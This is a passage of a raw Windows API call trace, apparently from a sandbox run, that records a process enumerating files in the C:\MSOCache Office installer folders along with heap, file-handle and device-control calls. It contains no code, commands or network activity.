dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.250] GetLastError () returned 0x12 [0045.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0045.250] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0045.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0045.251] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0045.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.251] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.256] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0045.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.256] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0045.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.256] NtClose (Handle=0x160) returned 0x0 [0045.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0045.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0045.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0045.257] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0045.290] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.290] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9ce8 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc5e0 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9d08 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc6e8 [0045.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.290] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9d28 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc7f0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9d48 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc8f8 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9d68 [0045.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dca00 [0045.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9d88 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dcb08 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9da8 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dcc10 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9dc8 [0045.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dcd18 [0045.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0045.293] GetLastError () returned 0x12 [0045.293] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0045.294] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: 